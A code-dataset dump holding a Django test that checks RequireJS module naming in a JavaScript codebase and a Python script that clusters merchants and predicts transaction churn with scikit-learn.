{"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 726, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 726, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 728, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 728, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 731, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 731, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.MakeTable", "line_number": 734, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 734, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.WriteTable", "line_number": 735, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 735, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.spirouFITS.write_output_dict", "line_number": 737, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage.spirouFITS", "line_number": 737, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 737, "usage_type": "name"}]} {"seq_id": "504898387", "text": "from __future__ import absolute_import\nfrom __future__ import unicode_literals\nimport gevent\nimport os\nimport re\nimport subprocess\n\nfrom django.test import SimpleTestCase\n\n\nclass TestRequireJS(SimpleTestCase):\n\n @classmethod\n def _run_jobs(cls, files, processor):\n jobs = []\n for filename in files:\n jobs.append(gevent.spawn(processor, filename))\n gevent.joinall(jobs)\n\n @classmethod\n def setUpClass(cls):\n super(TestRequireJS, cls).setUpClass()\n prefix = os.path.join(os.getcwd(), 'corehq')\n\n proc = subprocess.Popen([\"find\", prefix, \"-name\", \"*.js\"], stdout=subprocess.PIPE)\n (out, err) = proc.communicate()\n cls.js_files = [f for f in out.split(\"\\n\") if f\n and not re.search(r'/_design/', f)\n and not re.search(r'couchapps', f)\n and not re.search(r'/vellum/', f)]\n\n cls.hqdefine_files = []\n cls.requirejs_files = []\n\n def _categorize_file(filename):\n proc = subprocess.Popen([\"grep\", \"^\\s*hqDefine\", filename], stdout=subprocess.PIPE)\n (out, err) = proc.communicate()\n if out:\n cls.hqdefine_files.append(filename)\n proc = subprocess.Popen([\"grep\", \"hqDefine.*,.*\\[\", filename], stdout=subprocess.PIPE)\n (out, err) = proc.communicate()\n if out:\n cls.requirejs_files.append(filename)\n\n cls._run_jobs(cls.js_files, _categorize_file)\n\n def test_files_match_modules(self):\n errors = []\n\n def _test_file(filename):\n proc = subprocess.Popen([\"grep\", \"hqDefine\", filename], stdout=subprocess.PIPE)\n (out, err) = proc.communicate()\n for line in out.split(\"\\n\"):\n match = re.search(r'^\\s*hqDefine\\([\\'\"]([^\\'\"]*)[\\'\"]', line)\n if match:\n module = match.group(1)\n if not filename.endswith(module + \".js\"):\n errors.append(\"Module {} defined in file {}\".format(module, filename))\n\n self._run_jobs(self.hqdefine_files, _test_file)\n\n if errors:\n self.fail(\"Mismatched JS file/modules: \\n{}\".format(\"\\n\".join(errors)))\n\n def test_requirejs_disallows_hqimport(self):\n errors = []\n\n # Special cases:\n # Ignore standard_hq_report.js until we migrate UCRs and reports\n # knockout_bindings should be broken up, in the meantime, ignore\n test_files = [f for f in self.requirejs_files\n if not f.endswith(\"reports/js/standard_hq_report.js\")\n and not f.endswith(\"hqwebapp/js/knockout_bindings.ko.js\")]\n\n def _test_file(filename):\n proc = subprocess.Popen([\"grep\", \"hqImport\", filename], stdout=subprocess.PIPE)\n (out, err) = proc.communicate()\n for line in out.split(\"\\n\"):\n if line:\n match = re.search(r'hqImport\\([\\'\"]([^\\'\"]*)[\\'\"]', line)\n if match:\n errors.append(\"{} imported in {}\".format(match.group(1), filename))\n else:\n errors.append(\"hqImport found in {}: {}\".format(filename, line.strip()))\n\n self._run_jobs(test_files, _test_file)\n\n if errors:\n self.fail(\"hqImport used in RequireJS modules: \\n{}\".format(\"\\n\".join(errors)))\n", "sub_path": "corehq/apps/hqwebapp/tests/test_requirejs.py", "file_name": "test_requirejs.py", "file_ext": "py", "file_size_in_byte": 3425, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.test.SimpleTestCase", "line_number": 11, "usage_type": "name"}, {"api_name": "gevent.spawn", "line_number": 17, "usage_type": "call"}, {"api_name": "gevent.joinall", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 23, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 25, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 28, "usage_type": "call"}, {"api_name": "re.search", "line_number": 29, "usage_type": "call"}, {"api_name": "re.search", "line_number": 30, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 36, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 40, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 51, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 54, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 76, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 80, "usage_type": "call"}]} {"seq_id": "181204391", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 26 00:14:06 2020\r\n\r\n@author: Min\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import roc_curve,auc\r\nfrom sklearn.metrics import accuracy_score, f1_score, average_precision_score\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import precision_recall_curve \r\nfrom sklearn.model_selection import GridSearchCV, train_test_split\r\nfrom sklearn.ensemble import RandomForestClassifier \r\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\r\nfrom sklearn import preprocessing \r\nfrom sklearn.cluster import KMeans\r\n\r\nloc=r\"C:\\Users\\Min\\Downloads\\takehome_ds_written.csv\"\r\ndf=pd.read_csv(loc)\r\ndf.head()\r\ndf.columns\r\ndf.amount_usd_in_cents =round(df.amount_usd_in_cents/100)\r\n\r\ndf.dtypes\r\ndf.describe()\r\n\r\ndf.isnull().sum()\r\n\r\n#perMerchant=df.groupby(\"merchant\").size()\r\n\r\ndef perc1(sr):\r\n return np.percentiles(sr, np.linspace(0,100,11)) \r\n\r\ndef perc2(sr):\r\n return np.percentile(sr, np.linspace(0,100,21)) \r\n\r\n#plt.scatter(range(perMerchant.shape[0]), perMerchant, sort_values()) \r\n#plt.ylim( 1,5000)\r\n\r\nnp.percentile(df.amount_usd_in_cents, np.linspace(95,100,20)) \r\n\r\n\r\nplt.hist(np.log(df.amount_usd_in_cents))\r\n\r\n\r\ndf.time=pd.to_datetime(df.time)\r\ndf['hour']=df.time.dt.hour\r\ndf['weekday' ]=df.time.dt.weekday \r\n\r\n#df['wknd']=df['weekday' ]<5\r\ndf['wknd']=df['weekday' ]>=5\r\n\r\ndf=df.sort_values(by=['merchant', 'time']) \r\ndf['time_1']=df.time.shift(-1)\r\ndf['day']=df.time.dt.day\r\n\r\n#characterize transaction type using amount usd in cents\", tint, heuer', day weekday, song, end of month, early month\r\n\r\ntranlist=df.copy(deep=True)\r\ndef generatefeatures(tranlist, time_st, time_end):\r\n from scipy.stats import linregress\r\n eligible = (tranlist.time >time_st) & (tranlist.time<time_end)\r\n df=tranlist[eligible]\r\n \r\n df['merchant_1']=df.merchant.shift(-1)\r\n df['merchant_1_']=df.merchant.shift(1)\r\n \r\n df['tint']=(df.time_1-df.time).dt.days\r\n df['tint'][df.merchant != df.merchant_1] = None\r\n df['stt']= df.merchant != df.merchant_1_\r\n \r\n df[\"endt\" ]=df.merchant != df.merchant_1\r\n df['timeindays']=(time_end - df.time).apply(lambda x: x.days).values\r\n \r\n df['tinactive']=np.nan \r\n df['tinactive'][df.merchant != df.merchant_1]= df['timeindays'][df.merchant != df.merchant_1]\r\n df.tint[df.merchant != df.merchant_1]=None\r\n df['time2']=((df.time-time_st).dt.seconds+(df.time-time_st).dt.days*24*60*60)/3600\r\n dayAgg=df.groupby(['merchant','timeindays'])['amount_usd_in_cents'].sum().reset_index()\r\n \r\n def percentile(n):\r\n def percentile_(x):\r\n return np.percentile(x, n)\r\n percentile_.__name__ = 'percentile_%s' % n\r\n return percentile_\r\n \r\n df_agg=df.groupby('merchant').agg({ 'amount_usd_in_cents':['mean','std',percentile(95),percentile(50),percentile(5)],\r\n 'tint':['mean','std'],\r\n 'day':['mean','std'],\r\n 'wknd':['sum'],\r\n 'merchant':['count'],\r\n 'hour':['mean','std']})\r\n df_agg.columns=['_'.join(col).strip() for col in df_agg.columns.values]\r\n df_agg['trend']=df.groupby('merchant').apply(lambda v: linregress(v.time2, v.amount_usd_in_cents)[0])\r\n df_agg['trendtind']=df.dropna(subset=['tint']).groupby('merchant').apply(lambda v: linregress(v.time2, v.tint)[0]) \r\n df_agg['trendDay']=dayAgg.groupby('merchant').apply(lambda v: linregress(v.timeindays, v.amount_usd_in_cents)[0]) \r\n df_agg['endtime']=df.time[df.endt].values\r\n df_agg['length']= pd.Series(df.time[df.endt].values - df.time[df.stt].values).apply(lambda x: x.days).values\r\n df_agg['tinactive']=pd.Series(time_end-df.time[df.endt]).apply(lambda x: x.days).values\r\n \r\n \r\n bins=pd.IntervalIndex.from_tuples([(-1,15),(15,31)])\r\n df['dayCut']=pd.cut(df.day,bins)\r\n df['dayCut']=df['dayCut'].astype(str)\r\n \r\n bins=pd.IntervalIndex.from_tuples([(-1,8),(8,18),(18,23)])\r\n df['hourCut']=pd.cut(df.hour,bins)\r\n df['hourCut']=df['hourCut'].astype(str)\r\n \r\n bins=pd.IntervalIndex.from_tuples([(-1,2),(2,7),( 7,60),(60,1000)])\r\n df['tintCut']=pd.cut(df.tint,bins)\r\n df['tintCut']=df['tintCut'].astype(str)\r\n \r\n bins=pd.IntervalIndex.from_tuples([(-1,50),(50,100),(100,1000),(1000,1000000)])\r\n df['amtCut']=pd.cut(df.amount_usd_in_cents,bins)\r\n df['amtCut']=df['amtCut'].astype(str)\r\n \r\n df['I']=1\r\n t1=pd.pivot_table(df, values='I', index='merchant', columns='hourCut',aggfunc=np.sum).fillna(0)\r\n t1.columns=[x+' transaction hour' for x in t1.columns]\r\n t1=t1.iloc[:,1:]\r\n t1_p=t1.divide( df_agg.merchant_count, axis=0)\r\n \r\n \r\n df['I']=1\r\n t2=pd.pivot_table(df, values='I', index='merchant', columns='amtCut',aggfunc=np.sum).fillna(0)\r\n t2.columns=[x+' $ amount' for x in t2.columns]\r\n t2=t2.iloc[:,1:]\r\n t2_p=t2.divide( df_agg.merchant_count, axis=0)\r\n \r\n \r\n df['I']=1\r\n t3=pd.pivot_table(df, values='I', index='merchant', columns='tintCut',aggfunc=np.sum).fillna(0)\r\n t3.columns=[x+' day bet trans.' for x in t3.columns]\r\n t3=t3.iloc[:,1:]\r\n del t3['nan day bet trans.']\r\n t3_p=t3.divide( df_agg.merchant_count, axis=0)\r\n \r\n \r\n \r\n df['I']=1\r\n t4=pd.pivot_table(df, values='I', index='merchant', columns='dayCut',aggfunc=np.sum).fillna(0)\r\n t4.columns=[x+' day' for x in t4.columns]\r\n t4=t4.iloc[:,1:]\r\n t4_p=t4.divide(df_agg.merchant_count, axis=0)\r\n \r\n wk_p=df_agg[['wknd_sum']].divide(df_agg.merchant_count, axis=0)\r\n df_stat=pd.concat([pd.concat([t1,t2,t3,t4], axis=1), df_agg],axis=1)\r\n df_stat.columns=[x+'_O' for x in df_stat.columns]\r\n \r\n return(pd.concat([df_stat,t1_p,t2_p,t3_p,t4_p, wk_p], axis=1) )\r\n \r\ntime_st=pd.to_datetime('2032-12-31 20:07:57')\r\ntime_end=pd.to_datetime('2034-12-31 20:07:57')\r\n\r\ndf_filtered=generatefeatures(df, time_st, time_end)\r\n\r\ndf_filtered['logged_amt']=np.log(df_filtered.amount_usd_in_cents_mean_O) \r\ndf_filtered['logged_int']=np.log(df_filtered.tint_mean_O+1) \r\n\r\nfeaturesCluster=['(18, 23] transaction hour',\r\n '(8, 18] transaction hour', '(100, 1000] $ amount',\r\n '(1000, 1000000] $ amount', '(50, 100] $ amount',\r\n '(2, 7] day bet trans.', '(60, 1000] day bet trans.',\r\n '(7, 60] day bet trans.', '(15, 31] day',\r\n 'wknd_sum', 'logged_amt', 'logged_int']\r\n\r\nfeaturesClusterO=['(18, 23] transaction hour',\r\n '(8, 18] transaction hour', '(100, 1000] $ amount',\r\n '(1000, 1000000] $ amount', '(50, 100] $ amount',\r\n '(2, 7] day bet trans.', '(60, 1000] day bet trans.',\r\n '(7, 60] day bet trans.', '(15, 31] day',\r\n 'wknd_sum', 'amount_usd_in_cents_mean_O', 'tint_mean_O']\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nscaler = StandardScaler()\r\nss=df_filtered.merchant_count_O>2\r\n(scaler.fit(df_filtered[featuresCluster][ss]))\r\nX=scaler.transform(df_filtered[featuresCluster][ss])\r\nfrom sklearn.cluster import KMeans\r\n\r\nwcss=[]\r\nfor i in range(1, 11):\r\n km = KMeans(n_clusters = i, init = 'k-means++', \r\n random_state = 42)\r\n km.fit(X)\r\n wcss.append(km.inertia_)\r\nplt.plot(range(1,11), wcss,'-bo')\r\nplt.title('elbow method')\r\nplt.xlabel('# clusters')\r\nplt.ylabel('wcss')\r\nplt.show()\r\n\r\ni=7\r\nkm = KMeans(n_clusters = i, init = 'k-means++', \r\n random_state = 42)\r\nkm.fit(X)\r\n#import pickle\r\n#pickle.dump( km, open( \"km.pkl\", \"wb\" ) )\r\n#km=pickle.load(open( \"km.pkl\", \"rb\" ))\r\n\r\ndf_filtered['label']=np.nan\r\ndf_filtered['label'][ss]=km.labels_\r\ndf_filtered[featuresClusterO+['label']].groupby('label').mean().to_csv(r'C:\\Users\\Min\\clusters.csv')\r\ndf_filteredO=df_filtered.copy(deep=True)\r\n\r\n\r\n\r\nfixedTh=90\r\nmincap=30\r\nmaxcap=180\r\nfactorStd=4\r\nmischurn=[]\r\nfor i in range(3,10):\r\n midpt=pd.to_datetime('2033-12-31 20:07:57')+pd.Timedelta(i,unit='M')\r\n eligiblet = (df.time>pd.to_datetime('2032-12-31 20:07:57')) & (df.time < midpt)\r\n \r\n tdf=df[eligiblet]\r\n\r\n tdf['merchant_1_']=tdf.merchant.shift(1)\r\n tdf['merchant_1']=tdf.merchant.shift(-1)\r\n tdf['time_1']=tdf.time.shift(-1)\r\n tdf['tint']= (tdf.time_1-tdf.time).dt.days\r\n tdf['endt']=tdf.merchant_1 != tdf.merchant \r\n tdf['tint'][tdf.endt]= None \r\n tdf['tinactive']=np.nan\r\n tdf['tinactive'][tdf.endt]=(midpt-tdf.time)[tdf.endt].apply(lambda x: x.days)\r\n tdf_agg=tdf.groupby('merchant').agg({'tint':['mean','std'],'tinactive':'mean'})\r\n \r\n tdf_agg.columns=['tintM','tintS','inactiveM']\r\n churn1MID=tdf_agg.index[(tdf_agg.inactiveM > fixedTh)]\r\n churn2MID=tdf_agg.index[(tdf_agg.inactiveM > (tdf_agg.tintM + tdf_agg.tintS * factorStd).apply(lambda x: max(min(x,maxcap),mincap) ))]\r\n \r\n eligiblet = (df.time> midpt)\r\n tdf2=df[eligiblet]\r\n year2MID=tdf2.merchant.unique()\r\n \r\n mischurn.append([midpt, sum(churn1MID.isin(year2MID)), sum(churn2MID.isin(year2MID)),len(churn1MID), len(churn2MID), tdf_agg.shape[0]])\r\n \r\n \r\nmischurn\r\n\r\n\r\n\r\nfixedTh=90\r\nmincap=30\r\nmaxcap=180\r\nfactorStd=4\r\ndf_filtered.isnull().sum()\r\nimport numpy as np\r\nfrom sklearn.preprocessing import Imputer \r\nimp = Imputer(missing_values=np.nan, strategy='mean')\r\nimp.fit(df_filtered[[ 'tint_mean_O', 'tint_std_O' ]].values)\r\ndf_filtered[[ 'tint_mean_O', 'tint_std_O' ]]=imp.transform(df_filtered[[ 'tint_mean_O', 'tint_std_O' ]])\r\n\r\nchurnETA=(df_filtered.tint_mean_O+df_filtered.tint_std_O * factorStd).apply(lambda x: max(min(int(x),maxcap),mincap) )\r\n#perc1(churnETA)\r\n\r\nchurnind=df_filtered.tinactive_O>churnETA\r\nchurnedID=df_filtered.index[churnind]\r\nchurnedTime=df_filtered.endtime_O[churnind] + churnETA.apply(lambda x: np.timedelta64(x,'D'))[churnind]\r\n\r\nlen(churnedID)/df_filtered.shape[0]\r\ndf_filtered['churned']=churnind\r\n\r\ntmpp=df_filtered.groupby('label')['churned'].agg(['sum','size'])\r\ntmpp.columns=['Churned merchant', 'Total merchants']\r\ntmpp.index=[int(x+1) for x in tmpp.index.values]\r\nax=tmpp.plot(kind='bar',title='# of merchant counts and churned per cluster')\r\nax.set_xlabel('cluster')\r\nax.set_ylabel('# of merchants')\r\n\r\n \r\nax=(tmpp.iloc[:,0]/tmpp.iloc[:,1]*100).plot(kind='bar',title='% of churn per cluster')\r\nax.set_xlabel('cluster')\r\nax.set_ylabel('% of churn') \r\n\r\nchurnobsMonths=3\r\ntrainMonths=15\r\nchurnstart=pd.to_datetime('2034-12-31 20:07:57')-pd.Timedelta(churnobsMonths,unit='M')\r\ntime_st=churnstart-pd.Timedelta(trainMonths,unit='M')\r\ntime_end=churnstart\r\n\r\nchurned2034=churnedID[(churnedTime>churnstart) ]\r\nchurned2033=churnedID[churnedTime<churnstart]\r\n\r\ndf_train_2033=generatefeatures(df, time_st, time_end)\r\ndel df_train_2033['endtime_O']\r\ndf_train_2033.isnull().sum()\r\n\r\ndf_train_2033 = df_train_2033[~(df_train_2033.index.isin(churned2033))]\r\ndf_train_2033.isnull().sum()\r\n\r\nimp = Imputer(missing_values=np.nan, strategy='mean')\r\nimp.fit(df_train_2033.values)\r\ndf_train_2033[:]=imp.transform(df_train_2033)\r\n\r\n\r\nimport seaborn as sns\r\ncorr=df_train_2033.corr()\r\nkot=corr[corr>0.95]\r\nplt.figure(figsize=(12,8))\r\nsns.heatmap(kot, cmap='Greens')\r\n\r\n\r\ny=df_train_2033.index.isin(churned2034)\r\nxTrain, xTest, yTrain, yTest = train_test_split(df_train_2033, y, test_size=0.25, random_state=5)\r\n\r\nmodel_params = {\r\n 'n_estimators': [200, 400], \r\n 'max_depth': [5, 20, 50]\r\n}\r\nrf_model = RandomForestClassifier(random_state=1) \r\ngrid_clf = GridSearchCV(rf_model, model_params, cv=5)\r\nRF = grid_clf.fit(xTrain, yTrain)\r\nsc_RF=RF.score(xTest, yTest)\r\nRF.best_params_\r\nRF_p=RF.predict_proba(xTest)\r\n\r\nprecision, recall, thresholds=precision_recall_curve(yTest, RF_p[:,1])\r\nauc0=auc(recall, precision)\r\nfalse_positive_rate, true_positive_rate, threshold=roc_curve(yTest, RF_p[:,1])\r\nroc_auc=auc(false_positive_rate, true_positive_rate)\r\n\r\n\r\nplt.plot(false_positive_rate, true_positive_rate, color='b', label='ROC curve (area = %0.2f)' % roc_auc)\r\nplt.plot([0, 1], [0, 1], color='navy', linestyle='--')\r\nplt.xlim([0.0, 1.0])\r\nplt.ylim([0.0, 1.05])\r\nplt.xlabel('False Positive Rate')\r\nplt.ylabel('True Positive Rate') \r\nplt.legend(loc=\"lower right\")\r\nplt.show()\r\n\r\n\r\n\r\nplt.plot(recall,precision, color='b', label='ROC curve (area = %0.2f)' % auc0)\r\nplt.plot([0, 1], [0, 0], color='navy', linestyle='--')\r\nplt.xlim([0.0, 1.0])\r\nplt.ylim([0.0, 1.05])\r\nplt.xlabel('Recall')\r\nplt.ylabel('Precision') \r\nplt.legend(loc=\"lower right\")\r\nplt.show()\r\n\r\n\r\n\r\ncoef=[]\r\ncols=df_train_2033.columns\r\nfor col in cols:\r\n coef=coef+[np.corrcoef(df_train_2033[col],y)[0,1]]\r\ncorcoef=pd.DataFrame({'corr_coef':coef, 'colname':cols})\r\ncorcoef['abs_corr_coef']=abs(corcoef.corr_coef)\r\ncorcoef=corcoef.sort_values('abs_corr_coef')\r\n\r\n\r\nftrImp=pd.DataFrame({'imp_RF':RF.best_estimator_.feature_importances_, 'colname':cols})\r\nftrImp=ftrImp.merge(corcoef, on='colname',how='left')\r\nftrImp=ftrImp.sort_values(['imp_RF'], ascending=[0]) \r\n\r\nf, ax = plt.subplots(figsize=(6, 15)) \r\nsns.set_color_codes(\"pastel\")\r\nsns.barplot(y=\"colname\", x=\"imp_RF\", data=ftrImp,\r\n label=\"randomForest\", color=\"b\")\r\n\r\nsns.set_color_codes(\"muted\")\r\nsns.barplot(y=\"colname\", x=\"corr_coef\", data=ftrImp,\r\n label=\"PearsonCorrelation\", color=\"g\",alpha=0.3)\r\n\r\nax.legend(ncol=2, loc=\"lower right\", frameon=True)\r\nax.set(xlim=(0, 24), ylabel=\"\",\r\n xlabel=\"feature importance\")\r\nsns.despine(left=True, bottom=True)\r\n\r\nn=20\r\n\r\nRF1 = RandomForestClassifier( n_estimators= 400, max_depth=20, class_weight='balanced').fit(xTrain[ftrImp.colname[:n]],yTrain)\r\nsc_RF1=RF1.score(xTest[ftrImp.colname[:n]], yTest) \r\nRF1_p=RF1.predict_proba(xTest[ftrImp.colname[:n]])\r\n\r\nprecision, recall, thresholds=precision_recall_curve(yTest, RF1_p[:,1])\r\nauc1=auc(recall, precision)\r\nfalse_positive_rate, true_positive_rate, threshold=roc_curve(yTest, RF1_p[:,1])\r\nroc_auc1 = auc(false_positive_rate, true_positive_rate)\r\n\r\n\r\nRF2 = RandomForestClassifier( n_estimators= 400, max_depth=20, class_weight='balanced').fit(xTrain.tinactive_O.values.reshape(-1,1),yTrain)\r\nsc_RF2=RF2.score(xTest.tinactive_O.values.reshape(-1,1), yTest)\r\n\r\nprint([churnobsMonths, trainMonths, sc_RF, sc_RF1, sc_RF2, auc0, auc1, roc_auc, roc_auc1])\r\n\r\n\r\n#grid={\"C\":np.logspace(-3,3,7), \"penalty\":[\"l1\",\"l2\"]} \r\n#logreg=LogisticRegression()\r\n#logreg_cv=GridSearchCV(logreg,grid,cv=10)\r\n#logreg_cv.fit(xTrain,yTrain)\r\n#logreg_cv.score(xTest,yTest)\r\n#\r\n\r\n\r\n\r\n\r\nimport scikitplot as skplt\r\nskplt.metrics.plot_lift_curve(y_true=yTest, y_probas = RF_p)\r\n\r\ndf_score=generatefeatures(df, pd.to_datetime('2034-12-31 20:07:57')-pd.Timedelta(trainMonths,unit='M'), pd.to_datetime( '2034-12-31 20:07:57') )\r\ndel df_score['endtime_O']\r\ndf_score=df_score[~(df_score.index.isin(churnedID))]\r\n\r\nimp = Imputer(missing_values=np.nan, strategy='mean')\r\nimp.fit(df_score.values)\r\ndf_score[:]=imp.transform(df_score)\r\n\r\np=RF.predict_proba(df_score)\r\n\r\ntmp=RF_p[:,1]\r\ntmp.sort()\r\nthresholdP=np.percentile(tmp, 70)\r\n\r\n\r\ndf_score['churnLabel']='Not churned'\r\ndf_score['churnLabel'][p[:,1]>=thresholdP]='Likely to churn' \r\ndf_score.groupby('churnLabel').size().plot(kind='bar')\r\nsum(df_score['churnLabel']=='Likely to churn' )/df_score.shape[0]\r\n\r\n\r\ndf_score['propensityScore']=p[:,1]\r\ndf_score[['propensityScore','churnLabel']].to_csv(r'C:\\Users\\Min\\scored.csv')\r\n\r\n\r\n \r\ndf_filtered['churned'].to_csv(r'C:\\Users\\Min\\churned.csv')\r\n\r\ndf_filtered_O['churned'] = df_filtered_O.tinactive>90\r\ndf_filtered_O['churned'] = df_filtered['churned']\r\nperc2(df_filtered_O.tint_mean_O.dropna())\r\n\r\nsns.distplot(df_filteredO.tint_mean_O[df_filteredO.churned].dropna(), color=\"dodgerblue\", label=\"churned\") \r\nsns.distplot( df_filteredO.tint_mean_O[~df_filteredO.churned].dropna(), color=\"orange\", label=\"not churned\") \r\nplt.legend(loc='upper right') \r\nplt.xlabel('# days between first and latest transactions') \r\nplt.title('Density of inactive days comparison (churned vs. active users)') \r\nplt.show()\r\ndf_filtered['loggedTintMean']= np.log(df_filtered.tint_mean_O+1)\r\nfig = sns.boxplot(x=\"churned\", y=\"loggedTintMean\", data=df_filtered, palette=\"Set3\")\r\nfig.set( ylabel='logged average # days between transaction')\r\n\r\n \r\nsns.distplot(df_filteredO.tint_std_O[df_filtered.churned].dropna(), color=\"dodgerblue\", label=\"churned\") \r\nsns.distplot( df_filteredO.tint_std_O[~df_filtered.churned].dropna(), color=\"orange\", label=\"not churned\") \r\nplt.legend(loc='upper right') \r\nplt.xlabel('# days between first and latest transactions') \r\nplt.title('Density of identified account tenure comparison (churned vs. active users)') \r\nplt.show()\r\ndf_filtered['loggedTintStd']= np.log(df_filtered.tint_mean_O+1)\r\nfig = sns.boxplot(x=\"churned\", y=\"loggedTintStd\", data=df_filtered, palette=\"Set3\")\r\nfig.set( ylabel='# days holding the account')\r\n\r\n \r\nfig = sns.boxplot(x=\"churned\", y=\"length_O\", data=df_filtered, palette=\"Set3\")\r\nfig.set( ylabel='# days holding the account')\r\n \r\nfig = sns.boxplot(x=\"churned\", y=\"tinactive_O\", data=df_filtered, palette=\"Set3\")\r\nfig.set( ylabel='# days from the latest transaction')\r\n \r\n# check if the score stays similar\r\n\r\n\r\nchurnobsMonths=3\r\ntrainMonths=15\r\nchurnstart=pd.to_datetime('2034-09-30 20:07:57')-pd.Timedelta(churnobsMonths,unit='M')\r\ntime_st=churnstart-pd.Timedelta(trainMonths,unit='M')\r\ntime_end=churnstart\r\n\r\nchurned2034=churnedID[(churnedTime>churnstart) ]\r\nchurned2033=churnedID[churnedTime<churnstart]\r\n\r\ndf_train_2033=generatefeatures(df, time_st, time_end)\r\ndel df_train_2033['endtime_O']\r\ndf_train_2033.isnull().sum()\r\n\r\ndf_train_2033 = df_train_2033[~(df_train_2033.index.isin(churned2033))]\r\ndf_train_2033.isnull().sum()\r\n\r\nimp = Imputer(missing_values=np.nan, strategy='mean')\r\nimp.fit(df_train_2033.values)\r\ndf_train_2033[:]=imp.transform(df_train_2033)\r\n\r\n\r\ny=df_train_2033.index.isin(churned2034) \r\nsc_RF=RF.score(df_train_2033, y) \r\np1=RF.predict_proba(df_train_2033)\r\n\r\nprecision, recall, thresholds=precision_recall_curve(yTest, p1[:,1])\r\nauc0=auc(recall, precision)\r\nfalse_positive_rate, true_positive_rate, threshold=roc_curve(yTest, p1[:,1])\r\nroc_auc=auc(false_positive_rate, true_positive_rate)\r\n\r\n\r\n", "sub_path": "clustering.py", "file_name": "clustering.py", "file_ext": "py", "file_size_in_byte": 18096, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.percentiles", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.percentile", "line_number": 86, "usage_type": "call"}, {"api_name": "scipy.stats.linregress", "line_number": 97, "usage_type": "call"}, {"api_name": "scipy.stats.linregress", "line_number": 98, "usage_type": "call"}, {"api_name": "scipy.stats.linregress", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 101, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex.from_tuples", "line_number": 105, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pandas.cut", "line_number": 106, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex.from_tuples", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pandas.cut", "line_number": 110, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex.from_tuples", "line_number": 113, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pandas.cut", "line_number": 114, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex.from_tuples", "line_number": 117, "usage_type": "call"}, {"api_name": "pandas.IntervalIndex", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pandas.cut", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.pivot_table", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pandas.pivot_table", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pandas.pivot_table", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pandas.pivot_table", "line_number": 145, "usage_type": "call"}, {"api_name": 